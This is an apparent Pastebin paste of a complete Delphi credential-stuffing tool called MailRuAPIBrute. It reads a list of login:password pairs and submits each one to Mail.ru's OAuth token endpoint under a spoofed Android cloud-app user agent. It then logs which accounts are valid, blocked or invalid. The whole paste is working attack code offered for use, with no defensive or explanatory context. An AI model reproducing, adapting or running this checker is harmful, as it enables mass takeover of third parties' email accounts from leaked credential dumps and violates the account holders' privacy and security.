Advertisement
Guest User

Untitled

a guest
Apr 6th, 2016
460
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 4.17 KB | None | 0 0
  1. program MailRuAPIBrute;
  2.  
  3. uses windows, wininet;
  4.  
  5. var
  6.   cAll, cGood, cBlock, cBad: integer;
  7.  
  8. function IntToStr(i:integer):string;
  9. var
  10.   s:string;
  11. begin
  12.   Str(i,s);
  13.   Result:=s;
  14. end;
  15.  
  16. procedure AddToFile(path, s: ansiString);
  17. var
  18.   hFile: THandle;
  19.   Dummy: Cardinal;
  20. begin
  21.   hFile:=CreateFile(PChar(path), GENERIC_WRITE, 0, nil, OPEN_ALWAYS, 0, 0);
  22.   if hFile<>INVALID_HANDLE_VALUE then
  23.   begin
  24.     SetFilePointer(hFile, 0, nil, FILE_END);
  25.     s:=s+#13#10;
  26.     WriteFile(hFile, PChar(s)^, Length(s), Dummy, nil);
  27.     CloseHandle(hFile);
  28.   end;
  29. end;
  30.  
  31. function SSL_SendReq(szHost, szPath, lpszVerb, szHeaders, szData: PChar): ansiString;
  32. var
  33.  dwBytes: Dword;
  34.  Buf: array [0..4096] of ansiChar;
  35.  hOpenHandle,
  36.  hConnectHandle,
  37.  hResourceHandle: Pointer;
  38.  bRead: Bool;
  39. begin
  40. result:='';
  41. Buf:='';
  42.  hOpenHandle := InternetOpen('User-Agent: Android 2.1.2681 4.2.2:GT-I9505:ru.mail.cloud::',0,nil,nil,0);
  43.  if hOpenHandle <> nil then
  44.  begin
  45.    hConnectHandle := InternetConnect(hOpenHandle,szHost,INTERNET_DEFAULT_HTTPS_PORT,nil,nil,3,$04000000,0);
  46.    if hConnectHandle <> nil then
  47.    begin
  48.      hResourceHandle := HttpOpenRequest(hConnectHandle,lpszVerb,szPath,nil,nil,nil,INTERNET_FLAG_SECURE,0);
  49.      if hResourceHandle <> nil then
  50.      begin
  51.        if HttpSendRequest(hResourceHandle,szHeaders,lstrlen(szHeaders),szData,lstrlen(szData)) then
  52.        repeat
  53.          ZeroMemory(@Buf, SizeOf(Buf));
  54.          bRead := InternetReadFile(hResourceHandle, @Buf, 4096, dwBytes);
  55.          Result := Result + Buf;
  56.        until (bRead = false) or (dwBytes = 0);
  57.      end;
  58.      InternetCloseHandle(hResourceHandle);
  59.    end;
  60.    InternetCloseHandle(hConnectHandle);
  61.  end;
  62.  InternetCloseHandle(hOpenHandle);
  63. end;
  64.  
  65.  
  66. (* 0 - Валидный аккаунт      *)
  67. (* 1 - Блокированный аккаунт *)
  68. (* 2 - Невалидный аккаунт    *)
  69. function CheckAccount(login, pass: ansistring): byte;
  70. var
  71.   answer: ansistring;
  72. begin
  73.   answer:=SSL_SendReq('o2.mail.ru','/token','POST','',PAnsiChar('username='+login+'&client_id=cloud-android&grant_type=password&password='+pass));
  74.   if Pos('access_token', answer) <> 0 then
  75.     result:= 0 else
  76.       if Pos('blocked', answer) <> 0 then
  77.         result:= 1 else result:=2;
  78. end;
  79.  
  80.  
  81.  
  82. procedure Brute(basepath: ansistring);
  83. var
  84.   f : TextFile;
  85.   line: ansistring;
  86.   delimiter: ansichar;
  87.   delimiter_pos: integer;
  88.   login, pass: ansistring;
  89. begin
  90.   AssignFile(f, basepath);
  91.   Reset(f);
  92.   While not(eof(f)) do
  93.   begin
  94.     Readln (f, line);
  95.     if Pos(':', line)<>0 then delimiter:=':';
  96.     if Pos(';', line)<>0 then delimiter:=';';
  97.  
  98.     delimiter_pos:=Pos(delimiter, line);
  99.     login:=Copy(line, 1, delimiter_pos-1);
  100.     pass:=Copy(line, delimiter_pos+1, Length(line));
  101.  
  102.     case CheckAccount(login, pass) of
  103.       0:  begin
  104.             AddToFile('good.txt', line);
  105.             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 43);
  106.             writeln('GOOD: '#9+line);
  107.             Inc(cGood);
  108.           end;
  109.       1:  begin
  110.             AddToFile('block.txt', line);
  111.             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 3);
  112.             writeln('BLOCK: '#9+line);
  113.             Inc(cBlock);
  114.           end;
  115.       2:  begin
  116.             AddToFile('bad.txt', line);
  117.             SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 192);
  118.             writeln('BAD: '#9+line);
  119.             Inc(cBad);
  120.           end;
  121.     end;
  122.     Inc(cAll);
  123.     SetConsoleTitle(PAnsiChar('MailRuApiBrute - | '+IntToStr(cAll)+' | '+IntToStr(cGood)+' | ' +IntToStr(cBlock)+ ' | '+IntToStr(cBad)));
  124.   end;
  125.   close(f);
  126. end;
  127.  
  128. var
  129.   s: ansistring;
  130. begin
  131.   AllocConsole();
  132.   writeln('= CODED BY CrydBrox =');
  133.   SetConsoleTitle(PAnsiChar('MailRuApiBrute - | '+IntToStr(cAll)+' | '+IntToStr(cGood)+' | ' +IntToStr(cBlock)+ ' | '+IntToStr(cBad)));
  134.  
  135.   if ParamStr(1) = '' then
  136.   begin
  137.     writeln('Drag the BASE to the EXE-file');
  138.     writeln('OR');
  139.     writeln('Drag the BASE to the console window.');
  140.     writeln('And press ENTER');
  141.     readln(s);
  142.     Brute(s);
  143.   end else
  144.     Brute(ParamStr(1));
  145.  
  146.   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
  147.   writeln('Finished!!!');
  148.   readln;
  149. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement